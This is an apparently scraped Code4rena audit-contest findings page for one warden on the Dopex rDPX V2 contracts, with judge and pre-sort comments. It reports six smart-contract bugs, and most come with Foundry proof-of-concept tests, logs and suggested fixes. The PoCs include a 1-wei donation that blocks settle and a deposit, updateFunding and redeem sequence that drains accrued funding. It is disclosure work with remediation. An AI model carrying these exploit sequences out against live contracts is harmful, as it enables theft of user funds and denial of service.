Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 8/189
Findings: 6
Award: $1,856.12
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
Detailed description of the impact of this finding. settle can be ddos
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Lets look at subtractLoss
inside PerpetualAtlanticVaultLP
we can see that there is a strict comparasment ==
, so malicious user can send 1 wei of collateral to break it
function subtractLoss(uint256 loss) public onlyPerpVault { require( collateral.balanceOf(address(this)) == _totalCollateral - loss, // @audit strict so anybody can dos "Not enough collateral was sent out" ); _totalCollateral -= loss; }
perp-vault/PerpetualAtlanticVaultLP.sol#L201
Lets see where subtractLoss
is being used - inside PerpetualAtlanticVault.settle
function, which is being used by RdpxV2Core.settle
which is one of the core functions:
settle: When any rDPX APPs can be exercised, they are exercised to bring back the peg and back the backing reserves more in ETH.
function settle( uint256[] memory optionIds ) external nonReentrant onlyRole(RDPXV2CORE_ROLE) returns (uint256 ethAmount, uint256 rdpxAmount) { ... IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss( ethAmount ); ... }
So, malicious user can ddos a main function settle, which will cause whole system dos. Here is POC
POC test, put it inside tests/rdpxV2-core/Unit.t.sol
function testSettle() public { rdpxV2Core.bond(5 * 1e18, 0, address(this)); rdpxV2Core.bond(1 * 1e18, 0, address(this)); (, uint256 rdpxReserve1, ) = rdpxV2Core.getReserveTokenInfo("RDPX"); (, uint256 wethReserve1, ) = rdpxV2Core.getReserveTokenInfo("WETH"); vault.addToContractWhitelist(address(rdpxV2Core)); uint256[] memory _ids = new uint256[](1); (uint256 strike1, uint256 amount1, ) = vault.optionPositions(0); // test ITM options _ids[0] = 0; rdpxPriceOracle.updateRdpxPrice(1e7); weth.transfer(address(vaultLp), 1); // remove to see that it will pass vm.expectRevert("Not enough collateral was sent out"); rdpxV2Core.settle(_ids); }
I think this will work
function subtractLoss(uint256 loss) public onlyPerpVault { require( - collateral.balanceOf(address(this)) == _totalCollateral - loss, + collateral.balanceOf(address(this)) >= _totalCollateral - loss, "Not enough collateral was sent out" ); _totalCollateral -= loss; }
DoS
#0 - c4-pre-sort
2023-09-09T06:04:16Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:14:01Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T19:35:30Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: said
Also found by: 0Kage, 0xCiphky, 0xkazim, 836541, AkshaySrivastav, Evo, HChang26, HHK, KrisApostolov, Neon2835, QiuhaoLi, Tendency, Toshii, bart1e, bin2chen, carrotsmuggler, chaduke, etherhood, gjaldon, glcanvas, josephdara, lanrebayode77, mahdikarimi, max10afternoon, nobody2018, peakbolt, qpzm, rvierdiiev, sces60107, tapir, ubermensch, volodya
17.313 USDC - $17.31
Detailed description of the impact of this finding. All accrued funds in PerpetualAtlanticVault can be stolen via updateFunding## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Lets look at deposit
function PerpetualAtlanticVaultLP
We can see
function deposit( uint256 assets, address receiver ) public virtual returns (uint256 shares) { // Check for rounding error since we round down in previewDeposit. require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES"); perpetualAtlanticVault.updateFunding(); // Need to transfer before minting or ERC777s could reenter. collateral.transferFrom(msg.sender, address(this), assets); _mint(receiver, shares); _totalCollateral += assets; emit Deposit(msg.sender, receiver, assets, shares); }
perp-vault/PerpetualAtlanticVaultLP.sol#L119
Now, lets look at updateFunding
function in PerpetualAtlanticVault
which is public and anybody can call it
function updateFunding() public { updateFundingPaymentPointer(); uint256 currentFundingRate = fundingRates[latestFundingPaymentPointer]; uint256 startTime = lastUpdateTime == 0 ? (nextFundingPaymentTimestamp() - fundingDuration) : lastUpdateTime; lastUpdateTime = block.timestamp; collateralToken.safeTransfer( addresses.perpetualAtlanticVaultLP, (currentFundingRate * (block.timestamp - startTime)) / 1e18 ); IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).addProceeds( (currentFundingRate * (block.timestamp - startTime)) / 1e18 ); emit FundingPaid( msg.sender, ((currentFundingRate * (block.timestamp - startTime)) / 1e18), latestFundingPaymentPointer ); }
contracts/perp-vault/PerpetualAtlanticVault.sol#L502
So, what does it means? This means that all LP now cost more that they should be since LP not changed. So attacker can steal all those tokens. POC is below
POC insert in tests/perp-vault/Unit.t.sol and change deposit
function testRedeem1() external { rdpx.mint(address(1), 10 ether); weth.mint(address(1), 2 ether); rdpx.mint(address(2), 10 ether); weth.mint(address(2), 1 ether); deposit(1 ether, address(1)); (, uint256 id) = vault.purchase(1 ether, address(this)); // purchases for epoch 1; send 0.05 weth premium uint256[] memory optionIds = new uint256[](1); optionIds[0] = id; skip(86500); // expire console.log("-----attack balance before-------", weth.balanceOf(address(2))); deposit(1 ether, address(2)); vault.updateFunding(); vm.startPrank(address(2), address(2)); uint256 balance2 = vaultLp.balanceOf(address(2)); vaultLp.redeem(balance2, address(2), address(2)); console.log("-----attack balance after--------", weth.balanceOf(address(2))); vm.stopPrank(); }
-----attack balance before------- 1000000000000000000 -----attack balance after-------- 1024999999999999999
function deposit(uint256 _amount, address _from) public { vm.startPrank(_from, _from); rdpx.approve(address(vault), type(uint256).max); rdpx.approve(address(vaultLp), type(uint256).max); weth.approve(address(vault), type(uint256).max); weth.approve(address(vaultLp), type(uint256).max); - vaultLp.deposit(_amount, address(1)); + vaultLp.deposit(_amount, address(_from)); vm.stopPrank(); }
I think there suppose to be minting LP to the vault inside updateFundingPaymentPointer and the same way burn in settle
function.
function updateFunding() public { updateFundingPaymentPointer(); uint256 currentFundingRate = fundingRates[latestFundingPaymentPointer]; uint256 startTime = lastUpdateTime == 0 ? (nextFundingPaymentTimestamp() - fundingDuration) : lastUpdateTime; lastUpdateTime = block.timestamp; collateralToken.safeTransfer( addresses.perpetualAtlanticVaultLP, (currentFundingRate * (block.timestamp - startTime)) / 1e18 ); IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).addProceeds( (currentFundingRate * (block.timestamp - startTime)) / 1e18 ); + IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).mint( + address(this), + IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).previewDeposit((currentFundingRate * (block.timestamp - startTime)) / 1e18) + ); emit FundingPaid( msg.sender, ((currentFundingRate * (block.timestamp - startTime)) / 1e18), latestFundingPaymentPointer ); }
Error
#0 - c4-pre-sort
2023-09-10T07:55:26Z
bytes032 marked the issue as primary issue
#1 - c4-pre-sort
2023-09-10T07:55:33Z
bytes032 marked the issue as high quality report
#2 - bytes032
2023-09-12T05:39:02Z
Might be related to #867
#3 - c4-pre-sort
2023-09-14T16:50:37Z
bytes032 marked the issue as duplicate of #395
#4 - c4-judge
2023-10-20T08:07:51Z
GalloDaSballo changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-10-20T11:39:19Z
GalloDaSballo marked the issue as satisfactory
#6 - c4-judge
2023-10-20T19:01:05Z
GalloDaSballo marked the issue as duplicate of #867
#7 - c4-judge
2023-10-20T19:56:35Z
GalloDaSballo changed the severity to 3 (High Risk)
🌟 Selected for report: 0xrafaelnicolau
Also found by: 0x111, 0xCiphky, 0xMosh, 0xWaitress, 0xc0ffEE, 0xkazim, 0xnev, 0xvj, ABAIKUNANBAEV, Aymen0909, Baki, ElCid, HChang26, HHK, Inspex, Jorgect, Kow, Krace, KrisApostolov, LFGSecurity, MiniGlome, Nyx, QiuhaoLi, RED-LOTUS-REACH, Talfao, Toshii, Vagner, Viktor_Cortess, Yanchuan, _eperezok, asui, atrixs6, bart1e, bin2chen, carrotsmuggler, chaduke, chainsnake, deadrxsezzz, degensec, dethera, dimulski, dirk_y, ether_sky, gizzy, glcanvas, grearlake, gumgumzum, halden, hals, kodyvim, koo, ladboy233, lanrebayode77, max10afternoon, minhtrng, mussucal, nobody2018, peakbolt, pontifex, qbs, ravikiranweb3, rvierdiiev, said, tapir, ubermensch, volodya, wintermute, yashar, zaevlad, zzebra83
0.1468 USDC - $0.15
Detailed description of the impact of this finding. DOS system and broking depeg using addToDelegate and withdraw
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Whenever user use addToDelegate
totalWethDelegated
increases:
function addToDelegate( uint256 _amount, uint256 _fee ) external returns (uint256) { _whenNotPaused(); // fee less than 100% _validate(_fee < 100e8, 8); // amount greater than 0.01 WETH _validate(_amount > 1e16, 4); // fee greater than 1% _validate(_fee >= 1e8, 8); IERC20WithBurn(weth).safeTransferFrom(msg.sender, address(this), _amount); Delegate memory delegatePosition = Delegate({ amount: _amount, fee: _fee, owner: msg.sender, activeCollateral: 0 }); delegates.push(delegatePosition); // add amount to total weth delegated totalWethDelegated += _amount; emit LogAddToDelegate(_amount, _fee, delegates.length - 1); return (delegates.length - 1); }
contracts/core/RdpxV2Core.sol#L975
But whenever user use withdraw
totalWethDelegated
doesn't decreases:
function withdraw( uint256 delegateId ) external returns (uint256 amountWithdrawn) { _whenNotPaused(); _validate(delegateId < delegates.length, 14); Delegate storage delegate = delegates[delegateId]; _validate(delegate.owner == msg.sender, 9); amountWithdrawn = delegate.amount - delegate.activeCollateral; _validate(amountWithdrawn > 0, 15); delegate.amount = delegate.activeCollateral; // @audit // totalWethDelegated -= amountWithdrawn IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn); emit LogDelegateWithdraw(delegateId, amountWithdrawn); }
Lets see where totalWethDelegated
being used - on syncing tokenBalance for the WETH.
function sync() external { for (uint256 i = 1; i < reserveAsset.length; i++) { uint256 balance = IERC20WithBurn(reserveAsset[i].tokenAddress).balanceOf( address(this) ); if (weth == reserveAsset[i].tokenAddress) { balance = balance - totalWethDelegated; } reserveAsset[i].tokenBalance = balance; } emit LogSync(); }
Due to the fact that a malicious user can increase totalWethDelegated to any number (only paying for fee and there is not timelock). .tokenBalance
can become 0 for WETH thus DOS whole system on overflow. Depeg depends on this invariant also provideFunding
will not work and sync
function will always revert this means that bond
function will not work when isReLPActive
is true
function provideFunding() external onlyRole(DEFAULT_ADMIN_ROLE) returns (uint256 fundingAmount) { .. reserveAsset[reservesIndex["WETH"]].tokenBalance -= fundingAmount; ... }
function bond( uint256 _amount, uint256 rdpxBondId, address _to ) public returns (uint256 receiptTokenAmount) { _whenNotPaused(); ... if (isReLPActive) IReLP(addresses.reLPContract).reLP(_amount); ... } function reLP(uint256 _amount) external onlyRole(RDPXV2CORE_ROLE) { ... IRdpxV2Core(addresses.rdpxV2Core).sync(); }
POC sync function will revert due to overflow
function testWithdraw() public { rdpxV2Core.addToDelegate(1 * 1e18, 10e8); // test withdraw with invalid delegate id (address ad1, uint256 uint1, string memory uint2) = rdpxV2Core.getReserveTokenInfo("WETH"); console.log(uint1); vm.expectRevert( abi.encodeWithSelector(RdpxV2Core.RdpxV2CoreError.selector, 14) ); rdpxV2Core.withdraw(1); rdpxV2Core.addToDelegate(1 * 1e18, 10e8); rdpxV2Core.withdraw(1); vm.expectRevert(stdError.arithmeticError); rdpxV2Core.sync(); }
function withdraw( uint256 delegateId ) external returns (uint256 amountWithdrawn) { _whenNotPaused(); _validate(delegateId < delegates.length, 14); Delegate storage delegate = delegates[delegateId]; _validate(delegate.owner == msg.sender, 9); amountWithdrawn = delegate.amount - delegate.activeCollateral; _validate(amountWithdrawn > 0, 15); delegate.amount = delegate.activeCollateral; // @audit + totalWethDelegated -= amountWithdrawn; IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn); emit LogDelegateWithdraw(delegateId, amountWithdrawn); }
DoS
#0 - c4-pre-sort
2023-09-07T08:12:57Z
bytes032 marked the issue as duplicate of #2186
#1 - c4-judge
2023-10-20T17:55:32Z
GalloDaSballo changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-10-20T18:01:04Z
GalloDaSballo marked the issue as satisfactory
#3 - c4-judge
2023-10-21T07:38:55Z
GalloDaSballo changed the severity to 3 (High Risk)
🌟 Selected for report: LokiThe5th
909.7371 USDC - $909.74
Detailed description of the impact of this finding. Incorrect rdpx collateral calculation on redeeming in PerpetualAtlanticVaultLP
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Let see how share are being calculated on deposit and redeem inside PerpetualAtlanticVaultLP
We can see that on deposit totalAssets are totalCollateral() + ((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8)
vs on redeem totalCollateral() + _rdpxCollateral
Which leads to incorrect rdpx collateral calculation on redeeming in PerpetualAtlanticVaultLP leading to users receiving less funds than they bought if (_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8 < _rdpxCollateral
or every user get more funds than they supposed to leading to protocol loss.
function _convertToAssets( uint256 shares ) internal view virtual returns (uint256 assets, uint256 rdpxAmount) { uint256 supply = totalSupply; return (supply == 0) ? (shares, 0) : ( shares.mulDivDown(totalCollateral(), supply), shares.mulDivDown(_rdpxCollateral, supply) // @audit not fair for user + incorrect shares // shares.mulDivDown((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8, supply) ); } function convertToShares( uint256 assets ) public view returns (uint256 shares) { uint256 supply = totalSupply; uint256 rdpxPriceInAlphaToken = perpetualAtlanticVault.getUnderlyingPrice(); uint256 totalVaultCollateral = totalCollateral() + ((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8); return supply == 0 ? assets : assets.mulDivDown(supply, totalVaultCollateral); }
perp-vault/PerpetualAtlanticVaultLP.sol#L227
I its suppose to be like this
function _convertToAssets( uint256 shares ) internal view virtual returns (uint256 assets, uint256 rdpxAmount) { uint256 supply = totalSupply; uint256 rdpxPriceInAlphaToken = perpetualAtlanticVault.getUnderlyingPrice(); return (supply == 0) ? (shares, 0) : ( shares.mulDivDown(totalCollateral(), supply), shares.mulDivDown((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8, supply) ); }
ERC4626
#0 - c4-pre-sort
2023-09-09T06:05:38Z
bytes032 marked the issue as primary issue
#1 - c4-pre-sort
2023-09-10T09:37:25Z
bytes032 marked the issue as duplicate of #2130
#2 - c4-pre-sort
2023-09-11T06:35:53Z
bytes032 marked the issue as sufficient quality report
#3 - c4-judge
2023-10-15T18:06:37Z
GalloDaSballo marked the issue as satisfactory
#4 - c4-judge
2023-10-20T19:41:50Z
GalloDaSballo changed the severity to 2 (Med Risk)
909.7371 USDC - $909.74
Detailed description of the impact of this finding. Transferring bond doesn't update owner
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. Decayed bonds are meant to be transferring(exchanging) due to the fact that there is a function that forbid to transfer them if bonds in a pause state.
function _beforeTokenTransfer( address from, address to, uint256 tokenId, uint256 batchSize ) internal override(ERC721, ERC721Enumerable) { _whenNotPaused(); super._beforeTokenTransfer(from, to, tokenId, batchSize); }
But whenever user trasferring their bonds he still holds power and all bonuses of that bond due to the fact that bonds[bondId].to
stays the same.
POC
function testMint1() public { // Mint 1000 RDPX bonds rdpxDecayingBonds.mint(address(this), 1223322, 5e18); // Check the bond details (address owner, ,) = rdpxDecayingBonds .bonds(1); console.log("nft owner before: ", rdpxDecayingBonds.ownerOf(1)); console.log("bonds owner before: ", owner); rdpxDecayingBonds.transferFrom(address(this), address(1), 1); (owner,, ) = rdpxDecayingBonds.bonds(1); console.log("nft owner after: ", rdpxDecayingBonds.ownerOf(1)); console.log("bonds owner after: ", owner); }
nft owner before: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 bonds owner before: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 nft owner after: 0x0000000000000000000000000000000000000001 bonds owner after: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
function _beforeTokenTransfer( address from, address to, uint256 tokenId, uint256 batchSize ) internal override(ERC721, ERC721Enumerable) { _whenNotPaused(); + bonds[tokenId].owner = to; super._beforeTokenTransfer(from, to, tokenId, batchSize); }
Error
#0 - c4-pre-sort
2023-09-09T17:24:09Z
bytes032 marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-09-09T17:24:31Z
bytes032 marked the issue as primary issue
#2 - c4-pre-sort
2023-09-15T09:34:39Z
bytes032 marked the issue as duplicate of #1030
#3 - c4-judge
2023-10-18T12:19:40Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: juancito
Also found by: 0xDING99YA, 0xTiwa, 0xkazim, 0xnev, ABA, ArmedGoose, Aymen0909, Bauchibred, Evo, IceBear, KrisApostolov, MohammedRizwan, Nikki, QiuhaoLi, T1MOH, Toshii, WoolCentaur, Yanchuan, __141345__, asui, bart1e, carrotsmuggler, catellatech, chaduke, codegpt, deadrxsezzz, degensec, dethera, dirk_y, erebus, ether_sky, gjaldon, glcanvas, jasonxiale, josephdara, klau5, kodyvim, ladboy233, lsaudit, minhquanym, parsely, peakbolt, pep7siup, rvierdiiev, said, savi0ur, sces60107, tapir, ubermensch, volodya, zzebra83
19.1724 USDC - $19.17
Detailed description of the impact of this finding. PerpetualAtlanticVaultLP is not ERC4626 complaint which leads to other protocol not using/integrating dopex which leads to missed opportunity
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Some of the function of vault eip-4626 are missing. E.x. maxDeposit
, maxMint
,maxRedeem
and so on.
function maxRedeem(address owner) public view virtual returns (uint256) { return balanceOf(owner); }
I think its better to implement missing function from eip so other project can integrate with dopex
ERC4626
#0 - c4-pre-sort
2023-09-07T13:07:29Z
bytes032 marked the issue as primary issue
#1 - c4-pre-sort
2023-09-07T13:11:23Z
bytes032 marked the issue as duplicate of #1506
#2 - c4-pre-sort
2023-09-07T13:16:11Z
bytes032 marked the issue as duplicate of #699
#3 - c4-pre-sort
2023-09-11T16:12:26Z
bytes032 marked the issue as sufficient quality report
#4 - c4-judge
2023-10-20T18:07:20Z
GalloDaSballo changed the severity to QA (Quality Assurance)